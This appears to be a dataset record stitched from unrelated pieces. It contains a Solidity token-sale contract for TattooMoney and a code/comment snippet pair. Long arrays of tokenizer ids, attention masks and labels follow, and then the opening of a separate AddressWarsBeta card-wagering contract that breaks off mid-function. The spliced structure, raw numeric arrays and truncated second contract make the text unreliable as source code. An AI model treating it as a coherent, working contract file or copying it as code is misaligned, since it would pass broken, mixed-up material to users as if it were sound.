// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; // TattooMoney.io Public Sale Contract - via StableCoins, ETH and wBTC // // USE ONLY OWN WALLET (Metamask, TrustWallet, Trezor, Ledger...) // DO NOT SEND FROM EXCHANGES OR ANY SERVICES // // Use ONLY ETH network, ERC20 tokens (Not Binance/Tron/whatever!) // // Set approval to contract address or use USDC authorization first // // DO NOT SEND STABLE TOKENS DIRECTLY - IT WILL NOT COUNT THAT! // // send ONLY round number of USDT/USDC/DAI! // ie 20, 500, 2000 NOT 20.1, 500.5, 2000.3 // contract will IGNORE decimals! // // Need 150k gas limit. // Use proper pay* function contract TattooMoneyPublicSaleII { uint256 private constant DECIMALS_TAT2 = 6; uint256 private constant DECIMALS_DAI = 18; uint256 private constant DECIMALS_USD = 6; uint256 private constant DECIMALS_WBTC = 8; /// max tokens per user is 1363636 as $15000 is AML limit uint256 public constant maxTokens = 1363636363636; /// contract starts accepting transfers uint256 public dateStart; /// hard time limit uint256 public dateEnd; /// total collected USD uint256 public usdCollected; /// sale is limited by tokens count uint256 public tokensLimit; /// tokens sold in this sale uint256 public tokensSold; uint256 public tokensforadolar; // addresses of tokens address public tat2 = 0x960773318c1AeaB5dA6605C49266165af56435fa; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public wbtcoracle = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c; address public ethoracle = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address public owner; address public newOwner; bool public saleEnded; // deposited USD tokens per token address mapping(address => uint256) private _deposited; /// Tokens bought by user mapping(address => uint256) public tokensBoughtOf; event AcceptedUSD(address indexed user, uint256 amount); event AcceptedWBTC(address indexed user, uint256 amount); event AcceptedETH(address indexed user, uint256 amount); string constant ERR_TRANSFER = "Token transfer failed"; string constant ERR_SALE_LIMIT = "Token sale limit reached"; string constant ERR_AML = "AML sale limit reached"; string constant ERR_SOON = "TOO SOON"; /** Contract constructor @param _owner adddress of contract owner @param _tokensLimit maximum tokens that can be sold (round, ie 320123) @param _startDate sale start timestamp @param _endDate sale end timestamp */ constructor( address _owner, uint256 _tokensLimit, // 8666664 uint256 _startDate, // 12-06-2020 22:22:22 GMT (1628799742) uint256 _endDate, // 26-08-2020 22:22:22 GMT (1630009342) uint256 _tokensforadolar // Set the numer of tokens for $1 with decimals ( 90909090 ) ) { owner = _owner; tokensLimit = _tokensLimit * (10**DECIMALS_TAT2); dateStart = _startDate; dateEnd = _endDate; tokensforadolar = _tokensforadolar; } /** Pay in using USDC, use approve/transferFrom @param amount number of USDC (with decimals) */ function payUSDC(uint256 amount) external { require( INterfaces(usdc).transferFrom(msg.sender, address(this), amount), ERR_TRANSFER ); _pay(msg.sender, amount ); _deposited[usdc] += amount; } /** Pay in using USDT, need set approval first @param amount USDT amount (with decimals) */ function payUSDT(uint256 amount) external { INterfacesNoR(usdt).transferFrom(msg.sender, address(this), amount); _pay(msg.sender, amount ); _deposited[usdt] += amount; } /** Pay in using DAI, need set approval first @param amount number of DAI (with 6 decimals) */ function payDAI(uint256 amount) external { require( INterfaces(dai).transferFrom(msg.sender, address(this), amount), ERR_TRANSFER ); _pay(msg.sender, amount / (10**12)); _deposited[dai] += amount; } /** Pay in using wBTC, need set approval first @param amount number of wBTC (with decimals) */ function paywBTC(uint256 amount) external { require( INterfaces(wbtc).transferFrom(msg.sender, address(this), amount), ERR_TRANSFER ); _paywBTC(msg.sender, amount ); _deposited[wbtc] += amount; } // // accept ETH // // takes about 50k gas receive() external payable { _payEth(msg.sender, msg.value); } function payETH() external payable { _payEth(msg.sender, msg.value); } /** Get ETH price from Chainlink. @return price for 1 ETH with 6 decimals */ function tokensPerEth() public view returns (uint256) { int256 answer; (, answer, , , ) = INterfaces(ethoracle).latestRoundData(); // geting price with 6 decimals return uint256((uint256(answer) * tokensforadolar)/10**8); } /** Get BTC price from Chainlink. @return price for 1 BTC with 6 decimals */ function tokensPerwBTC() public view returns (uint256) { int256 answer; (, answer, , , ) = INterfaces(wbtcoracle).latestRoundData(); // geting price with 6 decimals return uint256((uint256(answer) * tokensforadolar)/10**8); } /** How much tokens left to sale */ function tokensLeft() external view returns (uint256) { return tokensLimit - tokensSold; } function _payEth(address user, uint256 amount) internal notEnded { uint256 sold = (amount * tokensPerEth()) / (10**18); tokensSold += sold; require(tokensSold <= tokensLimit, ERR_SALE_LIMIT); tokensBoughtOf[user] += sold; require(tokensBoughtOf[user] <= maxTokens, ERR_AML); _sendTokens(user, sold); emit AcceptedETH(user, amount); } function _paywBTC(address user, uint256 amount) internal notEnded { uint256 sold = (amount * tokensPerwBTC()) / (10**8); tokensSold += sold; require(tokensSold <= tokensLimit, ERR_SALE_LIMIT); tokensBoughtOf[user] += sold; require(tokensBoughtOf[user] <= maxTokens, ERR_AML); _sendTokens(user, sold); emit AcceptedWBTC(user, amount); } function _pay(address user, uint256 usd) internal notEnded { uint256 sold = (usd * tokensforadolar) / (10**6); tokensSold += sold; require(tokensSold <= tokensLimit, ERR_SALE_LIMIT); tokensBoughtOf[user] += sold; require(tokensBoughtOf[user] <= maxTokens, ERR_AML); _sendTokens(user, sold); emit AcceptedUSD(user, usd); } function _sendTokens(address user, uint256 amount) internal notEnded { require( INterfaces(tat2).transfer(user, amount), ERR_TRANSFER ); } // // modifiers // modifier notEnded() { require(!saleEnded, "Sale ended"); require( block.timestamp > dateStart && block.timestamp < dateEnd, "Too soon or too late" ); _; } modifier onlyOwner() { require(msg.sender == owner, "Only for contract Owner"); _; } /// Take out stables, wBTC and ETH function takeAll() external onlyOwner { uint256 amt = INterfaces(usdt).balanceOf(address(this)); if (amt > 0) { INterfacesNoR(usdt).transfer(owner, amt); } amt = INterfaces(usdc).balanceOf(address(this)); if (amt > 0) { require(INterfaces(usdc).transfer(owner, amt), ERR_TRANSFER); } amt = INterfaces(dai).balanceOf(address(this)); if (amt > 0) { require(INterfaces(dai).transfer(owner, amt), ERR_TRANSFER); } amt = INterfaces(wbtc).balanceOf(address(this)); if (amt > 0) { require(INterfaces(wbtc).transfer(owner, amt), ERR_TRANSFER); } amt = INterfaces(tat2).balanceOf(address(this)); if (amt > 0) { require(INterfaces(tat2).transfer(owner, amt), ERR_TRANSFER); } amt = address(this).balance; if (amt > 0) { payable(owner).transfer(amt); } } /// we can recover any ERC20! function recoverErc20(address token) external onlyOwner { uint256 amt = INterfaces(token).balanceOf(address(this)); if (amt > 0) { INterfacesNoR(token).transfer(owner, amt); // use broken ERC20 to ignore return value } } /// just in case function recoverEth() external onlyOwner { payable(owner).transfer(address(this).balance); } function EndSale() external onlyOwner { saleEnded = true; } function changeOwner(address _newOwner) external onlyOwner { newOwner = _newOwner; } function acceptOwnership() external { require( msg.sender != address(0) && msg.sender == newOwner, "Only NewOwner" ); newOwner = address(0); owner = msg.sender; } } // Interfaces for contract interaction interface INterfaces { function balanceOf(address) external returns (uint256); function transfer(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); // chainlink ETH/USD, ethoracle // answer|int256 : 304706968812 - 8 decimals // chainlink BTC/USD wbtcoracle // answer|int256 : 4419282000000 - 8 decimals function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // For tokens that do not return true on transfers eg. USDT interface INterfacesNoR { function transfer(address, uint256) external; function transferFrom( address, address, uint256 ) external; } // by Patrick
/ geting price with 6 decimals
function tokensPerEth() public view returns (uint256) { int256 answer; (, answer, , , ) = INterfaces(ethoracle).latestRoundData(); return uint256((uint256(answer) * tokensforadolar)/10**8); } @return price for 1 BTC with 6 decimals
363,613
[ 1, 19, 336, 310, 6205, 598, 1666, 15105, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2430, 2173, 41, 451, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 509, 5034, 5803, 31, 203, 3639, 261, 16, 5803, 16, 269, 269, 262, 273, 2120, 387, 4601, 12, 546, 280, 16066, 2934, 13550, 11066, 751, 5621, 203, 3639, 327, 2254, 5034, 12443, 11890, 5034, 12, 13490, 13, 380, 2430, 1884, 361, 355, 297, 13176, 2163, 636, 28, 1769, 203, 565, 289, 203, 203, 565, 632, 2463, 6205, 364, 404, 605, 15988, 598, 1666, 15105, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; // // AddressWars // (http://beta.addresswars.io/) // Public Beta // // // .d8888b. .d8888b. // d88P Y88b d88P Y88b // 888 888 888 888 // 888 888888 888 888 888.d8888b 888 888888 888 // 888 888`Y8bd8P&#39; 888 88888K 888 888`Y8bd8P&#39; // 888 888 X88K Y88 88P"Y8888b. 888 888 X88K // Y88b d88P.d8""8b. Y8bd8P X88 Y88b d88P.d8""8b. // "Y8888P" 888 888 Y88P 88888P&#39; "Y8888P" 888 888 // // // ****************************** // Welcome to AddressWars Beta! // ****************************** // // This contract is currently in a state of being tested and bug hunted, // as this is the beta, there will be no fees for enlisting or wagering. // This will encourage anyone to come and try out AddressWars for free // before deciding to play the live version (when released) as well as // making it so that the contract is tested to the fullest ability before // the live version is deployed. The website is currently under development // and will be continually improved as time goes on, once the live version // is deployed, you can access it&#39;s contract and data through the root url // (https://addresswars.io/) and there will always be a copy of the website // on a subdomain that you can visit in order to view and interact with this // contract at any time in the future. // // This contract is pushing the limits of the current Ethereum blockchain as // there are quite a lot of variables that it needs to keep track of as well // as being able to handle the statistical generation of key numbers. As a // result, the estimated gas cost to deploy this contract is 7.5M whereas // the current block gas limit is only 8M so this contract will take up // almost a whole block! Another problem with complex contracts is the fact // that there is a 16 local variable limit per function and in a few cases, // the functions needed access to a lot more than that so a lot of filtering // functions have been developed to handle the calculation internally then // simply return the useful parts. // // // ************************** // How to play AddressWars! // ************************** // // Enlisting // In order to start playing AddressWars, you must first have an Ethereum // wallet address which you can issue transactions from but only non-contract // addresses (ie addresses where you can issue a transaction directly) can play. // From here, you can simply call the enlist() function and send the relevant // fee (in the beta it&#39;s 0 ETH, for the live it will be 0.01 ETH). After the // transaction succeeds, you will have your very own, randomly generated // address card that you can now put up for wager or use to attempt to claim // other address cards with! // // Wagering // You can choose to wager any card you own assuming you are not already // wagering a copy of that card. For your own address, you can provide a // maximum of 10 other copies to any other addresses (by either transferring // or wagering), once 10 copies of your own address are circulating, you will // no longer be able to transfer or wager your own address (although you can // still use it to claim other addresses). It is important to note that there // is no way to &#39;destroy&#39; a copy of a card in circulation and your own address // card cannot be transferred back to you (and you can&#39;t attempt to claim your // own address card). // To wager a card, simply call the wagerCardForAmount() function and send // the relevant fee (in the beta it&#39;s 0 ETH, for the live it will be 0.005 ETH) // as well as the address of the card you wish to wager and the amount you are // willing to wager it for (in wei). From this point, any other address can // attempt to claim the address card you listed but the card that will be put up // for claim will be the one with the lowest claim price (this may not be yours // at the time but as soon as a successful claim happens and you are the next // cheapest price, the next time someone attempts to claim that address, you // will receive the wager and your card may be claimed and taken from you). // // Claiming // Assuming your address has already enlisted, you are free to attempt to // claim any card that has a current wager on it. You can only store up to // 8 unique card addresses (your own address + 7 others) in your inventory // and you cannot claim if you are already at this limit (unless you already own // that card). You can claim as many copies of a card you own as you like but you // can only get rid of them by wagering off one at a time. As mentioned above, // the claim contender will be the owner of the cheapest claim wager. You cannot // claim a card if you are the current claim contender or if the card address is // the same as your address (ie you enlisted and got that card). // To attempt to claim, you need to first assemble an army of 3 address cards // (these cards don&#39;t have to be unique but you do have to own them) and send the // current cheapest wager price to the attemptToClaimCard() function. This function // will do all of the calculation work for you and determine if you managed to claim // the card or not. The first thing that happens is the contract randomly picks // your claim contenders cards ensuring that at least one of the cards is the card // address you are attempting to claim and the rest are from their inventory. // After this point, all of the complex maths happens and the final attack // and defence numbers will be calculated based on all of the cards types, // modifiers and the base attack and defence stats. // From here it&#39;s simply a matter of determining how many hits got through // on both claimer and claim contender, it&#39;s calculated as follows; // opponentsHits = yourCard[attack] - opponentsCard[defence] // ^ will be 0 if opponentsCard[defence] > yourCard[attack] // This is totalled up for both the claimer and the claim contender and the // one with the least amount of hits wins! // // Claim Outcomes // There are 3 situations that can result from a claim attempt; // 1. The total hits for both the claimer and the claim contender are equal // - this means that you have drawn with your opponent, the wager will // then be distributed; // 98% -> the claimer (you get most of the wager back) // 2% -> the dev // 2. The claimer has more hits than the claim contender // - this means that you have lost against your opponent as they ended // up taking less hits than you, the wager will then be distributed; // 98% -> the claim contender (they get most of the wager) // 2% -> the dev // 3. The claimer has less hits than the claim contender // - this means that you have succeeded in claiming the card and hence // that card address will be transferred from the claim contender // to the claimer. in this case, both claimer and claim contender // receive a portion of the wager as follow; // 50% -> the claimer (you get half of the wager back) // 48% -> the claim contender (they get about half of the wager) // 2% -> the dev // // Transferring // You are free to transfer any card you own to another address that has // already enlisted. Upon transfer, only one copy of the card will be removed // from your inventory so if you have multiple copies of that card, it will // not be completely removed from your inventory. If you only had one copy // though, that address will be removed from your inventory and you will // be able to claim/receive another address in its place. // There are some restrictions when transferring a card; // 1. you cannot be currently wagering the card // 2. the address you are transferring to must already be enlisted // 3. the address you are transferring the card to must have less than // 8 unique cards already (or they must already own the card) // 4. you cannot transfer a card back to it&#39;s original address // 5. if you are gifting your own address card, the claim limit will apply // and if 10 copies already exist, you will not be able to gift your card. // // Withdrawing // All ETH transferred to the contract will stay in there until an // address wishes to withdraw from their account. Balances are tracked // per address and you can either withdraw an amount (assuming you have // a balance higher than that amount) or you can just withdraw it all. // For both of these cases there will be no fees associated with withdrawing // from the contract and after you choose to withdraw, your balance will // update accordingly. // // // Have fun and good luck claiming! // contract AddressWarsBeta { ////////////////////////////////////////////////////////////////////// // Constants // dev address public dev; uint256 constant devTax = 2; // 2% of all wagers // fees // in the live version the; // enlistingFee will be 0.01 ether and the // wageringFee will be 0.005 ether uint256 constant enlistingFee = 0; uint256 constant wageringFee = 0; // limits // the claim limit represents how many times an address can // wager/trasnfer their own address. in this case the limit // is set to 10 which means there can only ever be 10 other // copies of your address out there. once you have wagered // all 10 copies, you will no longer be able to wager your // own address card (although you can still use it in play). uint256 constant CLAIM_LIMIT = 10; // this will limit how many unique addresses you can own at // one time. you can own multiple copies of a unique address // but you can only own a total of 8 unique addresses (your // own address + 7 others) at a time. you can choose to wager // any address but if you wager one, the current claim price is the // lowest price offered from all owners. upon a successful claim, // one copy will transfer from your inventory and if you have no // copies remaining, it will remove that address card and you will // have another free slot. uint256 constant MAX_UNIQUE_CARDS_PER_ADDRESS = 8; ////////////////////////////////////////////////////////////////////// // Statistical Variables // this is used to calculate all of the statistics and random choices // within AddressWars // see the shuffleSeed() and querySeed() methods for more information. uint256 private _seed; // the type will determine a cards bonus numbers; // normal cards do not get any type advantage bonuses // fire gets 1.25x att and def when versing nature // water gets 1.25x att and def when versing fire // nature gets 1.25x att and def when versing water // *type advantages are applied after all modifiers // that use addition are calculated enum TYPE { NORMAL, FIRE, WATER, NATURE } uint256[] private typeChances = [ 6, 7, 7, 7 ]; uint256 constant typeSum = 27; // the modifier will act like a bonus for your card(s) // NONE: no bonus will be applied // ALL_: if all cards are of the same type, they all get // bonus att/def/att+def numbers // V_: if a versing card is of a certain type, your card // will get bonus att/def numbers // V_SWAP: this will swap the versing cards att and def // numbers after they&#39;ve been modified by any // other active modifiers // R_V: your card resists the type advantages of the versing card, // normal type cards cannot receive this modifier // A_I: your cards type advantage increases from 1.25x to 1.5x, // normal type cards cannot receive this modifier enum MODIFIER { NONE, ALL_ATT, ALL_DEF, ALL_ATT_DEF, V_ATT, V_DEF, V_SWAP, R_V, A_I } uint256[] private modifierChances = [ 55, 5, 6, 1, 12, 14, 3, 7, 4 ]; uint256 constant modifierSum = 107; // below are the chances for the bonus stats of the modifiers, // the seed will first choose a value between 0 and the sum, it will // then cumulatively count up until it reaches the index with the // matched roll // for example; // if your data was = [ 2, 3, 4, 2, 1 ], your cumulative total is 12, // from there a number will be rolled and it will add up all the values // until the cumulative total is greater than the number rolled // if we rolled a 9, 2(0) + 3(1) + 4(2) + 2(3) = 11 > 9 so the index // you matched in this case would be 3 // the final value will be; // bonusMinimum + indexOf(cumulativeRoll) uint256 constant cardBonusMinimum = 1; uint256[] private modifierAttBonusChances = [ 2, 5, 8, 7, 3, 2, 1, 1 ]; // range: 1 - 8 uint256 constant modifierAttBonusSum = 29; uint256[] private modifierDefBonusChances = [ 2, 3, 6, 8, 6, 5, 3, 2, 1, 1 ]; // range: 1 - 10 uint256 constant modifierDefBonusSum = 37; // below are the distribution of the attack and defence numbers, // in general, the attack average should be slightly higher than the // defence average and defence should have a wider spread of values // compared to attack which should be a tighter set of numbers // the final value will be; // cardMinimum + indexOf(cumulativeRoll) uint256 constant cardAttackMinimum = 10; uint256[] private cardAttackChances = [ 2, 2, 3, 5, 8, 9, 15, 17, 13, 11, 6, 5, 3, 2, 1, 1 ]; // range: 10 - 25 uint256 constant cardAttackSum = 103; uint256 constant cardDefenceMinimum = 5; uint256[] private cardDefenceChances = [ 1, 1, 2, 3, 5, 6, 11, 15, 19, 14, 12, 11, 9, 8, 7, 6, 5, 4, 3, 2, 2, 2, 2, 1, 1, 1 ]; // range: 5 - 30 uint256 constant cardDefenceSum = 153; ////////////////////////////////////////////////////////////////////// // Registry Variables // overall address card tracking mapping (address => bool) _exists; mapping (address => uint256) _indexOf; mapping (address => address[]) _ownersOf; mapping (address => uint256[]) _ownersClaimPriceOf; struct AddressCard { address _cardAddress; uint8 _cardType; uint8 _cardModifier; uint8 _modifierPrimarayVal; uint8 _modifierSecondaryVal; uint8 _attack; uint8 _defence; uint8 _claimed; uint8 _forClaim; uint256 _lowestPrice; address _claimContender; } AddressCard[] private _addressCards; // owner and balance tracking mapping (address => uint256) _balanceOf; mapping (address => address[]) _cardsOf; ////////////////////////////////////////////////////////////////////// // Events event AddressDidEnlist( address enlistedAddress); event AddressCardWasWagered( address addressCard, address owner, uint256 wagerAmount); event AddressCardWagerWasCancelled( address addressCard, address owner); event AddressCardWasTransferred( address addressCard, address fromAddress, address toAddress); event ClaimAttempt( bool wasSuccessful, address addressCard, address claimer, address claimContender, address[3] claimerChoices, address[3] claimContenderChoices, uint256[3][2] allFinalAttackValues, uint256[3][2] allFinalDefenceValues); ////////////////////////////////////////////////////////////////////// // Main Functions // start up the contract! function AddressWarsBeta() public { // set our dev dev = msg.sender; // now use the dev address as the initial seed mix shuffleSeed(uint256(dev)); } // any non-contract address can call this function and begin playing AddressWars! // please note that as there are a lot of write to storage operations, this function // will be quite expensive in terms of gas so keep that in mind when sending your // transaction to the network! // 350k gas should be enough to handle all of the storage operations but MetaMask // will give a good estimate when you initialize the transaction // in order to enlist in AddressWars, you must first pay the enlistingFee (free for beta!) function enlist() public payable { require(cardAddressExists(msg.sender) == false); require(msg.value == enlistingFee); require(msg.sender == tx.origin); // this prevents contracts from enlisting, // only normal addresses (ie ones that can send a request) can play AddressWars. // first shuffle the main seed with the sender address as input uint256 tmpSeed = tmpShuffleSeed(_seed, uint256(msg.sender)); uint256 tmpModulus; // from this point on, tmpSeed will shuffle every time tmpQuerySeed() // is called. it is used recursively so it will mutate upon each // call of that function and finally at the end we will update // the overall seed to save on gas fees // now we can query the different attributes of the card // first lets determine the card type (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, typeSum); uint256 cardType = cumulativeIndexOf(typeChances, tmpModulus); // now to get the modifier // special logic to handle normal type cards uint256 adjustedModifierSum = modifierSum; if (cardType == uint256(TYPE.NORMAL)) { // normal cards cannot have the advantage increase modifier (the last in the array) adjustedModifierSum -= modifierChances[modifierChances.length - 1]; // normal cards cannot have the resistance versing modifier (second last in the array) adjustedModifierSum -= modifierChances[modifierChances.length - 2]; } (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, adjustedModifierSum); uint256 cardModifier = cumulativeIndexOf(modifierChances, tmpModulus); // now we need to find our attack and defence values (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, cardAttackSum); uint256 cardAttack = cardAttackMinimum + cumulativeIndexOf(cardAttackChances, tmpModulus); (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, cardDefenceSum); uint256 cardDefence = cardDefenceMinimum + cumulativeIndexOf(cardDefenceChances, tmpModulus); // finally handle our modifier values uint256 primaryModifierVal = 0; uint256 secondaryModifierVal = 0; uint256 bonusAttackPenalty = 0; uint256 bonusDefencePenalty = 0; // handle the logic of our modifiers if (cardModifier == uint256(MODIFIER.ALL_ATT)) { // all of the same type attack bonus // the primary modifier value will hold our attack bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierAttBonusSum); primaryModifierVal = cardBonusMinimum + cumulativeIndexOf(modifierAttBonusChances, tmpModulus); // now for the attack penalty (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierAttBonusSum); bonusAttackPenalty = cardBonusMinimum + cumulativeIndexOf(modifierAttBonusChances, tmpModulus); // penalty is doubled bonusAttackPenalty *= 2; } else if (cardModifier == uint256(MODIFIER.ALL_DEF)) { // all of the same type defence bonus // the primary modifier value will hold our defence bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierDefBonusSum); primaryModifierVal = cardBonusMinimum + cumulativeIndexOf(modifierDefBonusChances, tmpModulus); // now for the defence penalty (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierDefBonusSum); bonusDefencePenalty = cardBonusMinimum + cumulativeIndexOf(modifierDefBonusChances, tmpModulus); // penalty is doubled bonusDefencePenalty *= 2; } else if (cardModifier == uint256(MODIFIER.ALL_ATT_DEF)) { // all of the same type attack and defence bonus // the primary modifier value will hold our attack bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierAttBonusSum); primaryModifierVal = cardBonusMinimum + cumulativeIndexOf(modifierAttBonusChances, tmpModulus); // now for the attack penalty (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierAttBonusSum); bonusAttackPenalty = cardBonusMinimum + cumulativeIndexOf(modifierAttBonusChances, tmpModulus); // penalty is doubled bonusAttackPenalty *= 2; // the secondary modifier value will hold our defence bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierDefBonusSum); secondaryModifierVal = cardBonusMinimum + cumulativeIndexOf(modifierDefBonusChances, tmpModulus); // now for the defence penalty (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierDefBonusSum); bonusDefencePenalty = cardBonusMinimum + cumulativeIndexOf(modifierDefBonusChances, tmpModulus); // penalty is doubled bonusDefencePenalty *= 2; } else if (cardModifier == uint256(MODIFIER.V_ATT)) { // versing a certain type attack bonus // the primary modifier value will hold type we need to verse in order to get our bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, typeSum); primaryModifierVal = cumulativeIndexOf(typeChances, tmpModulus); // the secondary modifier value will hold our attack bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierAttBonusSum); secondaryModifierVal = cardBonusMinimum + cumulativeIndexOf(modifierAttBonusChances, tmpModulus); // now for the attack penalty (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierAttBonusSum); bonusAttackPenalty = cardBonusMinimum + cumulativeIndexOf(modifierAttBonusChances, tmpModulus); } else if (cardModifier == uint256(MODIFIER.V_DEF)) { // versing a certain type defence bonus // the primary modifier value will hold type we need to verse in order to get our bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, typeSum); primaryModifierVal = cumulativeIndexOf(typeChances, tmpModulus); // the secondary modifier value will hold our defence bonus (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierDefBonusSum); secondaryModifierVal = cardBonusMinimum + cumulativeIndexOf(modifierDefBonusChances, tmpModulus); // now for the defence penalty (tmpSeed, tmpModulus) = tmpQuerySeed(tmpSeed, modifierDefBonusSum); bonusDefencePenalty = cardBonusMinimum + cumulativeIndexOf(modifierDefBonusChances, tmpModulus); } // now apply the penalties if (bonusAttackPenalty >= cardAttack) { cardAttack = 0; } else { cardAttack -= bonusAttackPenalty; } if (bonusDefencePenalty >= cardDefence) { cardDefence = 0; } else { cardDefence -= bonusDefencePenalty; } // now to add it to the registry _exists[msg.sender] = true; _indexOf[msg.sender] = uint256(_addressCards.length); _ownersOf[msg.sender] = [ msg.sender ]; _ownersClaimPriceOf[msg.sender] = [ uint256(0) ]; _addressCards.push(AddressCard({ _cardAddress: msg.sender, _cardType: uint8(cardType), _cardModifier: uint8(cardModifier), _modifierPrimarayVal: uint8(primaryModifierVal), _modifierSecondaryVal: uint8(secondaryModifierVal), _attack: uint8(cardAttack), _defence: uint8(cardDefence), _claimed: uint8(0), _forClaim: uint8(0), _lowestPrice: uint256(0), _claimContender: address(0) })); // ...and now start your own collection! _cardsOf[msg.sender] = [ msg.sender ]; // dev receives the enlisting fee _balanceOf[dev] = SafeMath.add(_balanceOf[dev], enlistingFee); // finally we need to update the main seed and as we initially started with // the current main seed, tmpSeed will be the current representation of the seed _seed = tmpSeed; // now that we&#39;re done, it&#39;s time to log the event AddressDidEnlist(msg.sender); } // this is where you can wager one of your addresses for a certain amount. // any other player can then attempt to claim your address off you, if the // address is your own address, you will simply give them a copy (limited to 10 // total copies) but otherwise the player will take that address off you if they // are successful. // here&#39;s what can happen when you wager; // 1. if an opponent is successful in claiming your card, they will receive 50% // of the wager amount back, the dev gets 2% and you get 48% // 2. if an opponent is unsuccessful in claiming your card, you will receive // 98% of the wager amount and the dev will get 2% // 3. if an opponent is draws with you when claiming your card, they will receive // 98% of the wager amount back and the dev will get 2% // your wager will remain available for anyone to claim up until either you cancel // the wager or an opponent is successful in claiming your card // in order to wager in AddressWars, you must first pay the wageringFee (free for beta!) function wagerCardForAmount(address cardAddress, uint256 amount) public payable { require(amount > 0); require(cardAddressExists(msg.sender)); require(msg.value == wageringFee); uint256 firstMatchedIndex; bool isAlreadyWagered; (firstMatchedIndex, isAlreadyWagered, , , ) = getOwnerOfCardsCheapestWager(msg.sender, cardAddress); // calling the above method will automatically reinforce the check that the cardAddress exists // as well as the sender actually owning the card // we cannot wager a card if we are already wagering it require(isAlreadyWagered == false); // double check to make sure the card is actually owned by the sender require(msg.sender == _ownersOf[cardAddress][firstMatchedIndex]); AddressCard memory addressCardForWager = _addressCards[_indexOf[cardAddress]]; if (msg.sender == cardAddress) { // we need to enforce the claim limit if you are the initial owner require(addressCardForWager._claimed < CLAIM_LIMIT); } // now write the new data _ownersClaimPriceOf[cardAddress][firstMatchedIndex] = amount; // now update our statistics updateCardStatistics(cardAddress); // dev receives the wagering fee _balanceOf[dev] = SafeMath.add(_balanceOf[dev], wageringFee); // now that we&#39;re done, it&#39;s time to log the event AddressCardWasWagered(cardAddress, msg.sender, amount); } function cancelWagerOfCard(address cardAddress) public { require(cardAddressExists(msg.sender)); uint256 firstMatchedIndex; bool 